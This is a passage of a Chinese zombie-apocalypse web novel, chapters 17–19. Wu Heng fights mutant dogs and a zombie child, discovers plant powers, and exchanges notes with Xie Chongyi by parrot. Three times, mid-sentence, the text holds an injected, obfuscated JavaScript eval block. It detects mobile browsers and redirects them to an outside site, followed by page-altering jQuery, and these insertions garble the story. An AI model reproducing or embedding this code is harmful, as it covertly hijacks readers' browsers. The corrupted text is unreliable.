书包装满后,乌珩也学林梦之的做法,用卫生巾装满了几个购物袋拎在手里。 “明天过来装几条烟。”路过收银台的时候,林梦之眼馋得很。 在门口蹲守的X听见人声,它转过身,原地朝他们飞过来,将他们朝后推。 - “蹲下!”乌珩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14882107|159059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 压低嗓音,跟林梦之一起迅速蹲了下来。 一道黑影从远处缓慢地移动到超市门口,沉重的喘气声优先出现。 乌珩缓缓松开手里的购物袋,手攥住了挨着大腿的短刀。 一条半人高的土松犬出现在超市门口,它如同林中野兽的喘息让人头皮发麻,如果不是亲眼看见,没有人会相信这是一条狗能发出的喘息。 它敦实宽厚的前爪踩上台阶,湿润的鼻头抵着超市的门,门只是虚掩着的,它将脑袋探了进来,猩红的双目视察着超市里的一切。 它嘴里还吊着一条断臂,边嚼边滴血,血腥味瞬间冲击到躲在收银台后面的乌珩和林梦之。 伴随着玻璃门合上的嘎吱声,土松犬将脑袋缩了回去。 乌珩侧头看向室外,数对猩红的瞳孔在黑夜里散发出贪婪的光芒,体型巨大的土松犬回到队伍中居然显得娇小,领头的慵懒地趴在空地,三两下就用爪子撕开了一只不停吼叫的丧尸,一口吞下半只。 在它的周围,是看不清具体数量的流浪狗群,聚过来的丧尸被它们轻松地就解决了个干净。 当外面的吼叫声终于消失,林梦之瘫坐在地上,脸上的汗水流成了河。 乌珩收回目光,看着X,“你说的更可怕的东西,就是变异狗群?” 鹦鹉用脑袋蹭了蹭少年的下颌,没有发出声音。 狗是群居动物,城市里的流浪狗更是爱成群结队,没有变异倒成不了威胁,但如果变异,的确可怖。 “没什么可怕的。”乌珩坐在地上,看着前方,双目无神,“如果连狗都能任意残杀人类,更可怕的东西应该另有其物。” 林梦之还没缓过来。 乌珩继续道:“那条土松犬不是流浪狗。” “什么?” “它是快递站的那条土松,额头因为皮肤病有一块地方不长毛了,我记得很清楚。” 林梦之向来不会怀疑乌珩的话,他闭上眼睛,在心里让自己不要去想这条土松变异后还认不认识主人。 两人超市收银台地面坐了将近一个小时才敢起身走出去,外面广场满地污血和残肢,两人背着鼓鼓囊囊的书包,拎着大包小包,不管不顾,一路狂奔回到家里。 林奶奶担心得不行,抓着两人将全身上下都摸了个遍。 乌珩摘下鸭舌帽和夜视镜,“我去换个衣服回家了。” “你不吃点东西?”来回这一路干的全是体力活,林梦之都觉得饿得慌,他不信乌珩不饿。 乌珩摸着胃,“我感觉,还好。” 换了身衣服,又从林梦之家里拿了一个满格的充电宝,乌珩以一副完全没出过门的样子回到家中。 少年用钥匙打开家门,客厅里为现在的情况正发愁的乌世明和曾丽珂都没心情看他一眼。 但从他们身后路过时,乌珩仍旧对他们此刻的愁眉不展表露出了关怀之语,“妈妈,情况很不好吗?” 曾丽珂这时候没有不耐烦,她巴不得有人来接自己的满肚子苦水,她长叹了一口气说:“网络断了,手机连紧急电话都打不出去了,现在外面是什么情况我们一概不知,我跟你爸爸估计着,我们可能要在家里躲上个把月,可家里的吃的根本就不够!” 乌珩听完,不知道说什么,“是不够。” “本来我们还想看能不能趁晚上出去买点吃的回来,可下午的时候,对面7号楼跑出来一家人,没跑多远就……”曾丽珂又愁又害怕,乌世明在旁边也是一脸阴沉。 “好可怕。”乌珩低头玩着手指,他手指变得比以前软,轻易就缠在一起,又能轻易散开。 乌世明完全没注意到少年的异常之处,他问道:“林梦之家里还有多的食物吗?” “他们家只有两个人,储存的食物比我们家里的还要少。” 乌世明放弃让林家给自家匀点食物的打算,摆手让乌珩回房间睡觉。 乌珩回到房间,在床上躺下。 窗外月光正好,皎洁如玉,洒在一半床铺上,他背对窗外,闭上眼睛,很快沉入睡眠。 在少年落满月光的身后,无数纤细的藤条自他瘦弱的脊背中钻出来,它们将自己整整齐齐摆在另一半床铺上,月光下,藤身前前后后迸出零星嫩绿的芽叶。 一面在月光下晾晒好后,它们一齐翻了面,又继续给另一面晒上月光,新芽肆意地抽出生长。 17.第17章 清晨的日光洒照下来,将地面上已然改天换日的末世景象一览无余地照耀着。 众人从昨日便开始等待的救援迟迟未能等到,室外依旧一片死寂,偶尔出现的低吼声只会使人毛骨悚然,将祈盼希望的众人打进更深的深渊。 但这还只是第二天,大部分人的家里或多或少都会有点存粮,所以就算外面充斥着血腥的屠戮,大部分人却都尚还冷静,这些人都还在相信,政府或者部队,很快就会来清理掉这些怪物,然后解救下他们。 家里的早饭没有乌珩的份,但也省去了乌珩给他们三个做饭的时间。 如今没水没电,曾丽珂在厨房里焦头烂额,乌芷抱着一大兜东西,悄悄摸到乌珩的房间。 乌珩拿着两本书正准备下楼,看见她,问什么事。 乌芷把怀里的东西倒在乌珩书桌上,是零食。 “给。” 乌珩的表情并未因此变得柔和下来,眼睛却比平日的含水量高,莹润通透,像含笑看人。 他打量了乌芷一番,乌芷其实跟他长得不太相像,她长得像极了曾丽珂,圆腮尖下巴,像颗饱满的瓜子,单眼皮,却是大眼睛,是极聪明又讨人喜欢的长相,只不过这是个傻子,怎么看怎么不聪明。 “妈妈没给你梳头发?”乌珩看见乌芷头发乱糟糟的,像个疯婆子。 “没时间啊,她要做饭,但是没有水,我不敢去打扰她。”乌芷小声说。 乌珩一笑,“去把梳子拿来,我给你梳。” 哥哥好久没给自己梳过头发了,小女孩兴高采烈跑去房间拿来了自己的梳子递给乌珩。 她坐在乌珩房间的椅子上,乌珩站在她的身后,兄妹俩发质如出一辙的顺滑,即使乌芷是长发,梳起来也不觉得费劲。 少年垂着眸,认真而又仔细地给乌芷编了两条辫子,在尾端各自绑上一根粉色带绒花的头绳,又在脑袋一侧夹上了两枚蓝绿色的月亮发卡。 乌芷看着镜子里的自己,激动得小脸绯红,“谢谢哥哥!哥哥我会爱你一辈子的!” 他的阴郁在此刻仿若消失不见,温柔宛如一弘越积越深的清泉。 下了楼,他未看见林梦之,倒是林奶奶,早早地坐在客厅里,听见声音,知道是乌珩来了,问外面的情况有没有好一点,什么时候能出去。 乌珩不像林梦之那么会打马虎眼,但还是不希望林奶奶知道外面的真实情况,他沉吟片刻后,说:“你又看不见,出去做什么?” 林奶奶气得用拐杖杵地。 “梦之呢?”乌珩生硬地转移话题。 林奶奶坐下来,“还在睡,我喊也喊不起来。” “那我去给你做早饭。”乌珩边说边挽起衣袖朝厨房走去,厨房的水池里躺着昨天晚上从超市带回来的大草鱼,旁边有倒空了的矿泉水桶,水都倒在了水池里。 没有心思去想林梦之此举有多浪费水,乌珩只在池边观察着鱼眼,然后伸出手指去碰了一下草鱼的鱼尾。 啪的一声,鱼尾有力地打在他的手腕上。 不应该。 鱼在矿泉水里活不了多久,但这几条精神奕奕,不像是普通的草鱼。 乌珩在旁边的抹布上擦了擦手指,想起昨天晚上林梦之说这些鱼都不是变异鱼。 仅仅顿住了几秒钟,乌珩便转身走出了厨房,他沉着脸推开了林梦之的房间。 林梦之躺在被子里,他的脸发红发黑,一头紫毛变得卷曲,唇白如死灰。 “梦之?”乌珩走过去,俯身唤了对方一声。 “嗯?”林梦之晃晃然睁开眼,眼珠发灰,他吃力地举起手臂,“热。” 乌珩接住林梦之无力垂下去的手臂,对方手臂宛如一块柱状火石,烫得他一把就甩了开。 掌心的灼痛迟迟未消,乌珩缓缓低下头,看见自己手心的一块皮被烫掉了。 这不是丧尸化,乌珩很快就给林梦之的变化下了结论。 这可能是林梦之拥有了特殊能力,林梦之,有可能成为异能者,也就是谢崇宜提起过的幸运儿。 第一次遇到这样的情况,乌珩也不知道怎么办,他把昨天得来的几块能量核放到了林梦之的枕头边上,走出房间,带上了门。 在餐厅与林奶奶吃完早餐后,乌珩又去看了林梦之,对方现在房间里的温度都上升不少,他躺着的位置徐徐冒着热气,人也开始说胡话。 “我要是变成丧尸了,阿珩,杀了我。” “要不你现在把我吃了,现在的我还能吃。” “好疼。” 乌珩在房间里呆了会儿,默不作声地离开了。 少年站在厨房,他挽起衣袖,池子里的草鱼仿若察觉到了降临到头上的危机,疯狂扭动着身体试图逃脱,但乌珩一把就将其中跳得最欢的一条攥住了。 超市里的草鱼个头都不小,体长小半米,又因为变异而肉质异常鲜美,乌珩微微朝前倾身,让水尽量不滴在地板上,他动作堪称优雅的一口咬掉了鱼头,咀嚼出清脆动听的声音。 灰鹦鹉蹲在乌珩的身前,它昂起脑袋,用日益坚硬锋利的喙将鱼身啄出一个又一个肉坑。 乌珩留了一条鱼,他打扫了弄湿的灶台,手指却按在边缘没有离开,他沉思着,问还在回味鱼肉的X,“汉州一中你知道在哪儿吗?” X扇了一下翅膀。 少年忍不住伸手摸了一下它的羽毛,比前两天变得硬了不少,他有点想知道X真正长大后会是什么样子了。 “我给你一张纸条,你帮我带过去,把纸条给谢崇宜。” X浑身都写着拒绝。 “距离不远,不过……你应该不知道谢崇宜是谁。”乌珩想了想,拿出手机,打开了班级群,放大了班级群的头像,指着最中间的男生,“你记一下,他长这样。” 谢崇宜很好认,光是一双漂亮到极致的桃花眼就已经足够具有辨识度。就连乌珩这种有些脸盲的人都能记住他的长相。 X还是不情不愿,垂头丧气。 乌珩却已经回到客厅,找了纸笔开始写纸条。 他写上了自己现在所有的疑问,卷成纸筒,用林奶奶的针线将它串起来挂在了鹦鹉的脖子上。 “我不知道他现在还有没有在学校,要是你在学校没有看见他,就在附近找一找,现在这种状况,他要是独自一人,应该很难走远,如果是一群人,就更难走远,实在找不到,你就回来吧。” “外面不安全,你自己多注意。”乌珩用手指刮了刮X的小脑袋,柔声说。 X并未感到安慰,它看着乌珩的眼神像看着一个即将出世的魔王。 - 外面的楼道并不安宁,时不时就有拖着脚步路过的丧尸,小区里经常会传来人类的惨叫声,不明情况的是大多数,在不明情况时,大部分都是勇士。 乌珩拿上刀,他直接拉开了通向楼道的门,门外正好有一个丧尸在游荡。 丧尸转身的瞬间,短刀入脑。 绕开丧尸尸体,乌珩关上了楼道的门,从一楼开始清理异物。 居民楼里,家家户户几乎紧闭着户门,地面上一层又一层的污血,每层楼都能给人秩序崩塌的绝望感,而游荡在楼道里寻找食物的丧尸,左嗅右闻,身体残破扭曲,它们听见模糊的脚步声,停下动作,循声找去。 少年踏着台阶,执刀缓缓上楼。 活人的气味使丧尸立马就兴奋了起来。 乌珩也兴奋。 他没有异能,但是他一样会成为末世里的强者。 乌珩的半张脸都被丧尸血染透了,顺着他线条姣好的下颌往下淌,他的眼睛散发着暗红,没有任何光泽,他不嗜血,只是平静。 日光穿过楼道转角雕花的石窗,他干净的半张脸柔和得宛如天使,另外半张脸却如同魔鬼。 他一层楼一层楼扫上去,到顶楼的时候,楼道里却很干净。 乌珩小心地走上去,他穿过走道,走道尽头。 一扇门忽然拉开了一条缝。 “阿珩哥哥?”一个头发乱糟糟的小女孩探了脑袋出来,“你怎么上来的啊?楼里全是那些东西,外面也是。” 看见是经常跟自己打招呼的小女孩,乌珩把刀背到了身后,“上来走走。” “楼里的那些东西呢?”梨梨一脸的害怕。 “可能都出去了吧。”乌珩随口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14890715|159059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,抬手用衣袖擦了擦脸上的血。 “哦,”梨梨扶着门,“警察叔叔还没来吗?” “没有。” “为什么还不来?”梨梨两只黑圆的大眼睛流出眼泪,“我们幼儿园的老师说,有事就要找警察叔叔。” “我爸爸妈妈那天去上班,到现在都没回家,没有人给我洗脸刷牙,没有人给我梳头发,也没有人给我做饭。” “阿珩哥哥,你可以进来给我做点吃的吗?我已经吃了两天的小饼干了。” 梨梨满脸都是眼泪,乌芷经常跟她一起玩,乌珩看她,会比陌生小孩多一点感情。 乌珩将刀收了起来,“好。” 跟在梨梨身后,乌珩走进了她的家,很温馨淡雅的一个家,收拾得也干净整洁,只是就梨梨一个小孩在家,有些冷清。 “这是我家厨房。”梨梨站在厨房门边,绞着手指,期待地看着乌珩,“菜在冰箱里。” 乌珩“嗯”了一声,迈步走进厨房。 他打开冰箱,冰箱里每一层都放满了血淋淋的肉块,他的视线,正好与一双眼珠对上。 “嘿嘿,”梨梨的声音贴着少年的后背,阴恻恻的,“阿珩哥哥,爸爸妈妈都愿意给我吃,你肯定也愿意,对不对?” 乌珩缓缓低头,看见梨梨的两只手臂正抱着自己的腰。 他用手试图掰开,手臂纹丝不动,如焊死一般。 乌珩稍微回眼,余光看见了小女孩的脸已经被一张血盆大口占据,它一开一合的,往下滴着涎水,眼睛在额头上,只剩下细细的两条。 “说完了吗?”乌珩轻声问。 “说完了说完了,”梨梨连连点头,“我要开动了!嗷呜!” 梨梨刚说完,一声惨叫从她的口中发出,乌珩用短刀扎穿了她的一只眼睛。 抱在乌珩腰间的双臂立马脱开,梨梨跳出去老远,捂着眼睛,“阿珩哥哥干嘛呀?你为什么要扎我的眼睛,我就吃你一口而已!” 乌珩关上冰箱门,砰的一声,吓了对面的小丧尸一跳。 “你怎么发现的嘛?”梨梨不耐烦道,一般人都不应该对她这样的小孩带有防备心,这两天她已经把这层楼的人都骗来吃了,大家都很信任她。 乌珩垂眼,在衣袖上反复擦拭着刀刃上的血迹,慢悠悠说道:“灾难爆发的时间是早上五点,你爸妈上班出门一般是早上八点半。” “哼!”小丧尸跺了一下脚。 她跺完脚后,忽地起身跃起,四肢如蜘蛛般牢牢匍匐于厨房吊顶上,脑袋以一种诡异的角度扭曲着转向乌珩,“阿珩哥哥,梨梨今天一定要吃掉你!” 她俯冲下来的速度奇快,乌珩翻身避开,用刀穿过去,只划伤了她的手臂,但对她影响并不大。 “你平时看起来那么好欺负,看来并不是那样嘛。”梨梨趴在窗户上,她贪婪地看着乌珩,直咽口水。 她再次朝乌珩扑过去,乌珩却没有用刀,他伸手接住了小丧尸的手臂,将她整个抡在了地上,接着一脚踩向那张看着令人恶心的大嘴。 脚下发出呱唧的一声,脑袋瘪了。 可是谁成想,一条濡湿的舌头自鞋底滑出来,卷住了乌珩的脚腕,鲜血顺着脚腕流下来,疼痛深入骨头。 “吃到了哦,呵呵呵呵。”梨梨开朗地笑出声来。 乌珩眯眼,不为所动,他弯腰,咬牙一把拽掉了小丧尸的手臂,丢到了身后。 然而,当他举起刀准备扎进小丧尸的脑袋时,脸侧一条青藤刺向下方,噗呲一声,小丧尸的另一只眼睛爆开了。 小丧尸的尖叫声还未来得及发出,数条粗细不一带着细绒毛的藤条如流星般唰唰朝它攻去,污血溅开,梨梨的尖叫声逐渐消息,乌珩因为失血而显得苍白的脸被绿幽幽的青藤包围着,更是通透雪白。 小丧尸死得不能再死了,藤条才停下了攻击,它们收回的速度缓慢,温和,甚至带着莫名的小心翼翼。 最后只剩下一条没有收回去,它趴在乌珩的肩上,探着梢蹭了蹭少年的脸颊,像是讨好。 “是市郊的虞美人?”乌珩脑子侧头朝对方看去,因为刚刚的青藤,他只那次在市郊见过。 18.第18章 但市郊那天见到的青藤可比刚刚的要粗壮狂妄多了,与眼前小鸟依人的姿态大相径庭。 乌珩回到客厅,找到餐桌上的纸巾,连抽一叠用来擦拭短刀上的血迹。 他背后还没收回去的藤条模仿着他的样子,唰唰唰也抽了一叠纸巾,然后伸到了下方。 少年脚踝那一圈白棉袜已经被鲜血浸透,小丧尸的舌头犹如刀片,致使伤口奇深。 藤条的顶端抽出一条极细的分枝,将袜子往下褪了几分,主干紧随其后用卫生纸覆住往外冒血的伤口。 乌珩没有给予它关注,它自己忙得不可开交,脚下堆了越来越多的被染红的纸巾。 挂满了污血的短刀刀刃逐渐显出原本的干净锋利,擦至刀柄,刀柄下面的黑色引起了乌珩的注意,他松开刀柄,将刀暂时放在了餐桌上。 那抹奇异的黑色不是属于刀柄上面的东西,而是黏附在他的掌心里。 掌心的黑色如洇开的颜料,边缘如紫烟,越往中间去,越是显得幽暗的黑色,而最中心却是一团明亮柔和的明黄。 这是完全绽放开的黑色虞美人,不多不少四片花瓣,连摸着都是花瓣柔嫩单薄的触感,和周围掌心的皮肤是两种感觉。 之前它并未显现,是刚刚出现的,在他与藤条打过照面之后。 乌珩好奇一件事情。 他确定自己死过一次,因为那些施加在他身上的疼痛他当时都清晰地感受过,他齿间甚至还残留着自身心脏的口感。 他想知道,自己现在究竟是人还是植物,或者是,别的什么东西? 少年捡起了短刀,他攥着刀柄,刀刃向下,刀尖刺向虞美人花蕊,血珠从刀尖的周围冒出来,居然是沿着花瓣的纹路而不是掌心纹路往地板上滴落。 脚边如蛇盘踞的藤条小心地移动到了鲜血旁边,将触角放了上去。 它在吮吸回收。 因为乌珩舌尖尝到了甜腥味。 乌珩眼前晃过了几道白色光芒,他甩了甩脑袋,以为自己是因为今天失血太多导致的眩晕,他扶住桌沿,下一瞬间,他来到了一个纯白的世界。 乌珩被白光刺得睁不开眼睛,待睁眼之后,他怔在原地,这是哪儿? 眼前的白色仿若没有尽头,除了白色就是白色,像一个无限世界。 他试着往前走,本以为道路漫长,没想到刚走没两步,头就撞得一痛。 乌珩抬手试探性地伸过去,他上下摸了摸,手下冰冷坚硬的触感告诉他,这不是无限世界,它的尽头距离自己很近,只不过因为一片茫茫的白显得无穷尽而已。 这只是一个面积相当小的空间。 空间…… 乌珩细长的手指沿着墙面一路拂过去,他很快就走完了一圈,站在一开始自己出现的位置,确定了空间的形状呈倒三角。 他暂时思考不出来倒三角形状的意义,只是站在原地,将眼前的一切又重新仔仔细细地扫视了一遍。 这一次,他想要知道空间的高度,单纯望上去,又仿佛没有尽头一般,无法靠肉眼估测。 不带有确定性的,少年将右手掌心摊开,只是心内产生了想要看看上面的想法,一条青藤就“唰”的一下从掌心窜出。 藤条带着一种新员工的劲头刺向上空,然而,在距离乌珩头顶不到两米处,它便再也前进不了了。 不太相信似的,它还试探着在附近摸了摸,确定到了终点后,悻悻然退回来,从少年掌心回到了他的体内。 乌珩大概估计出了此处的大小,只是他还不清楚自己为什么会出现在这个地方? 他想起自己在这之前做的唯一一件事情就是用刀刺破了花芯,难道这个地方也存在于自己的身体里? 那现在他的身体里究竟装了多少东西?乌珩难得无语。 乌珩计划在这个狭小的空间走完最后一遍,如果这个地方真的完完全全属于他,是他的地盘,那之后说不定能用来存放物资。 但这次他有了新的发现,顶端的中心地面有一株植物,它太低矮了,刚刚超过乌珩的鞋面,像一根小草。 乌珩蹲下来观察了他一会儿,然后直接捏住它往外拔,草根露了出来,却不是土色白色,而是半透明的红色,里面好像还有红色的液体在涌动。 乌珩还打算继续往外拔,想要搞清楚这到底是什么东西,但瞬间,一股剧烈的绞痛从他心脏贯穿至全身。 乌珩不得不放手,他被疼痛袭倒在地不断抽搐,背后则是青藤不受控制地淌出如水融化。 冷汗遍布乌珩苍白的脸颊,浓黑的睫羽因为疼痛而紧闭,他牙关紧闭,下颌肌肉缩紧,细弱的身躯差点陷入濒死状态。 不知道过了多久,乌珩才慢慢缓了过来,他喘着气,手指动了动,触着湿热的地面。 坐起来后,藤条半死不活地收了回去,而他额前的短发已经被汗水打湿成一绺一绺。 在原地坐了几分钟,乌珩目光清明地投向身旁那株小草。 他这次没再因为想要知道答案而去拔它,他已经知道答案了。 少年抬眼环视白茫茫的四周,这里不仅仅只是一个空间,这里是他的心脏。 - 汉州一中的操场空荡荡的,垂丝茉莉爬上了校门,与对面的巨型芭蕉分庭抗礼。 几只已经被吸干的丧尸躯壳吊在垂丝茉莉柔软的枝头,其中个别甚至还没有死透,时不时发出微弱的嘶吼声。而芭蕉树的芯子,则因为进食时不时往外挤出丧尸的污血。 学校内部的丧尸已经被一群人清理干净,学校成了附近区域里少见的一处安全区,但前提是不要靠近校门。 垂丝茉莉如一座绿色的通天塔,高度盖过了校门,顶端沿着校门顶端攀爬,如白玉一样的花条悬挂在校匾上,仔细看,花条的最末梢是已经干涸的血迹。这是垂丝茉莉的武器。 而芭蕉树遮天蔽日,叶面如巨伞,它的攻击路径现在还无从得知。 低泣声不断从教室的角落传来,教室里只剩下了十几人,个个形容脏乱,狼狈不堪。 食物贫瘠和水源紧缺都不是最关键的,最关键的是时溢加重的绝望和恐惧。 外界的消息从两天前就断得一干二净,没有人说话时,外面鸦雀无声,没有使人安心的警笛声,城市广播也没有动静。 不管是丧尸还是异化的动植物,都代表不了世界末日,秩序的崩塌溶解,同类的销声匿迹,才是末日。 教师中不停哭泣的女生叫阮丝莲,她眼睛已经肿成了两个桃子,因为就在几个小时前,她的父母驱车出现在了学校门口,看样子是专门来接她走的。 学生们曾亲眼看见垂丝茉莉绞杀丧尸,在教学楼上方大喊着离校门口远一点,阮丝莲慌不择路往校门口跑,她跑到操场时,中年男女刚好被垂丝茉莉卷着脖子吊到了半空中。 中年男女在痛喊挣扎,已经异化的垂丝茉莉却开始了大肆的进食。 女生眼睁睁地看着自己的爸妈被吸成了两具干瘪的壳,她晕了过去,直到现在才醒,醒了之后便哭得停不下来。 其他人一开始也同情阮丝莲,到最后逐渐麻木,角落里杵着刀的黄毛烦不胜烦,终于爆发了,他跳起来,“能不能别他娘的哭了!难道就你一个人死了爹妈,难道我们的爹妈就全都活着?” 黄毛叉着腰,转身暴躁得一脚踢飞了一个凳子。 其他人或坐在课桌边或蹲在地上,默不作声。 阮丝莲愣住,眼泪却始终如泉涌。 这时候,阮丝莲旁边的一个男生黑着脸站了起来,顺手抄起一把凳子朝黄毛砸了过去,力道之大,居然直接将教室地板砸了一个坑出来! 而男生自己还没察觉到异常,他挡在阮丝莲身前,“她哭不哭关你屁事?没事做就翻墙出去杀丧尸找物资。” 谢崇宜握着一只鸟走进来时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14896211|159059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,教室里几个男生已经抱着打成了一团。 薛慎皱眉想要上前,却被谢崇宜抬手拦下了。 眼前的群架没有势均力敌,黄毛那一方虽说占了人数上的优势,却打不过对面两个人。 维护阮丝莲的男生一拳打在黄毛的脸上,骨骼的错位声与惨叫声同时响起。 地上被溅了不少的血,但很明显,全都来自于黄毛阵营。 李束只觉得自己体内有一股不知从何而来的力量在流窜,他越打越顺手,将对面几人打得抱头鼠窜也停不下来。 而女生们看着越来越狠的打法,起身躲到了最角落里,避免被误伤。 “别打了别打了,别打了好吗?这时候就不要内讧了好吗?吃太饱了吗你们是?”生活委员何似玉挂着一张苦瓜脸跑到中间劝架。 李束却充耳不闻,沙包一样的拳头直接锤在了何似玉的腹部,后者哈出口气,倒在地上,白眼一翻直接失去意识。 薛慎看了眼谢崇宜,谢崇宜好整以暇地趴在讲台上,看戏似的。 他了解谢崇宜骨子里的恶劣,所以不指望他当和平使者,于是他抬手,准备制止这一场刚觉醒的异能者对普通人的霸凌。 只是还没等他出手,李束的动作就猛然止住,他脸涨得发紫,脚尖无端离了地,身体虚虚飘离地面,仿佛有人扼住了他脖颈一般,他挣脱不了,只能用双手拼命地抓挠着自己脖子前方。 眼看着着李束的眼珠都快要被挤出眼眶,谢崇宜才直起身,他双手插在兜里,慢悠悠走下讲台,在站到李束面前时,他微微昂首,“你是异能者?” “什……什么……异能者……?” 谢崇宜收了对对方的控制,李束摔到地上,大喊,“什么异能者?” 谢崇宜蹲下来,他摊开自己的五指,将掌心与李束的脸相对,然后五指微曲。 李束目光一滞,脑袋立刻感觉到了来自四面八方的挤压,接着是挤压产生的疼痛。 谢崇宜及时放下了手,笑着说:“呐,这就是。” 疼痛伴随着男生的放手消失,李束的目光依旧疑惑。 但谢崇宜却拎着他那只鸟起了身,在乱七八糟的地上扒拉了不知道是谁的纸笔拿在手里,离开了教室。 薛慎在讲台上摆摆手,“何似玉,安排人把卫生做一下,然后我给你们讲讲什么是异能者。李束,你上来讲台,我需要有人配合我讲解。” “……” 教室外面的走廊。 谢崇宜把鸟放在了阳台上,他眼中没有笑,语气却故意玩味,“不许跑,跑了我捏死你。” X一动不动。 确定这鸟的确能是变异鸟能听懂人话后,他颀长的身形下折,与它对视,“你是乌珩的鸟,对吧?” “阿珩阿珩。”X听见自己会说的字,赶忙叫了两声表明身份,它抬起翅膀,翅膀下面夹着的纸筒掉了下来。 谢崇宜从鸟脖子上取下纸筒,奇丑无比的字映入眼帘,他啧了声,但还是耐着性子看了下去。 :“你上次说的特殊能力就是异能?那大概什么条件可以触发异能觉醒?” :“异能觉醒的过程有危险吗?需不需要做些什么事情来帮助度过觉醒期?” :“我在丧尸的脑袋里找到了能量核,你有找到吗?这个东西怎么用?” :“什么样的人才能觉醒异能?” :“你现在还在学校吗?我跟我的朋友可不可以去学校找你?” 谢崇宜看完之后,“他怎么这么多问题?” 他将纸条挂回到了鸟的脖子上,淡淡道:“我在学校最多还会待半个月,让他在这个时间内来找我。” “阿珩阿珩。”X扇了两下翅膀。 “就会说这两个字?”谢崇宜挑了下眉。 无奈,他将纸条又拿到了手里,重新展开纸条后,他揭开笔头,在纸条下方写下回复:面议。 19.第19章 X完成任务,安全到家。 “学校里有多少人?10个人有吗?有就抬右脚,没有就抬左脚。” X将右脚抬起来悬空两秒钟后又放下。 “谢崇宜……你觉得他厉害吗?”乌珩凑近鹦鹉,问道。 X又抬右脚。 “比我厉害?” X试探性地将右脚抬起,但只是将将抬离了桌面,在望见乌珩微微往中间眯起的眼皮时,它毫不犹豫地换成了抬左脚。 “……” “就他一个异能者?”乌珩又问。 X抬起左脚。 乌珩吐出口气,朝后靠住了沙发靠枕,洒落在他的脸上的光影偏暗,他气质沉寂,如一条汹涌但无声的地下暗河。 他不了解谢崇宜,对谢崇宜的印象浮于表面——成绩好,长相好,会来事,城府深,但现在显然又得加上一项:闻着香。 乌珩以为,闻起来味道越是香的生物,异能大概率就越强。 他回忆着自己第一次闻到谢崇宜身上味道的时间,比灾难开始的时间要早。 不愧是谢崇宜。 乌珩最后才伸手去取X脖子上的纸条,他展开后,呼吸停滞了几秒钟,然后波澜不惊地将纸条撕碎扔进了一旁的垃圾桶。 X僵在原地不明白,为什么阿珩明明得到了回复,脸色却难看得像个死人。 它跳下餐桌,钻进林奶奶房间,靠着林奶奶这个家里唯一一个不含攻击性的生物。 乌珩将纸条摆在面前的茶几上,他一言不发,从他沉静的表情,其实看不出喜怒,只是动物本能使X趋利避害,而乌珩不管开心不开心,在它看来都是害。 没到两分钟,乌珩背后传来一阵乱七八糟的振翅声,他回头扫了一眼。 X被林奶奶用拐杖打得带滚带爬地赶了出来。 “死鸟!” “老东西老东西!”X站在电视机上摇着翅膀,这明显是跟林梦之学的。 乌珩没去管一老一鸟的斗嘴,他将纸条收了起来,推门走入了林梦之的房间。 房间内像个蒸笼,扑面而来的热气让乌珩后背登时就浸出了汗,他靠近床边,林梦之还没醒,紧闭着眼,汗水渗透了床铺,淌了一地。 再这么下去,对方可能会脱水至死。 乌珩转身回到客厅打开了一桶水拎到林梦之床边。 “把他扶起来。”他说。 少年身后伸出两条毛绒绒的青藤,蛇一样的尖端小心地戳了一下林梦之的脸之后才从林梦之身下探进去,将他上身扶了起来。 乌珩把水倒在碗里,给林梦之一碗接一碗喂水。 林梦之半梦半醒,大口吞咽,他露出眼白,看见了端着水碗的不仅有发小的那只手,旁边还有一根细细的藤子。 他以为自己烧出了幻觉,没去在意,直到那根藤子昂起来,擦了擦他挂着水的嘴角。 林梦之再次昏睡了过去。 青藤对自己的贴心深感欣慰,在乌珩放下碗后,它犹如菟丝子一样绕着主人细嫩温热的脖颈缠了一圈,藤梢十分娇俏地挂在主人的耳廓上。 乌珩回到客厅,林奶奶站在她的房间门口,喊了他一声,“阿珩?” “你去叫林梦之起床了?” 乌珩不想让老人担心,说道:“他说还要睡一会儿。” “还睡?”林奶奶用拐杖敲着墙,咚咚响,"这都睡了一天了?阿珩你去把他拉起来,让他吃了饭再去睡,饿着肚子睡觉可不行。" “阿珩你可别跟着他一块糊弄我,这小子好的不教你,尽教你做一些缺德事。” 乌珩站在林梦之房间门口,呐呐无言。 “梦之他……”乌珩绞尽脑汁,他撒谎做不到张口就来,含含糊糊东拉西扯他才拿手,但无一不被人识破。 林奶奶既生气又担心,念叨了一场后,用着拐杖脚步如飞地朝这边走来。 “咔哒” “阿珩。” 继房门打开的声音之后,林梦之的声音紧接着突然出现。 乌珩一惊,他回过头,看见的却仍是紧闭的房门。 那刚刚的声音是从哪传来的? “阿珩,饿了。”林梦之的声音又响了起来。 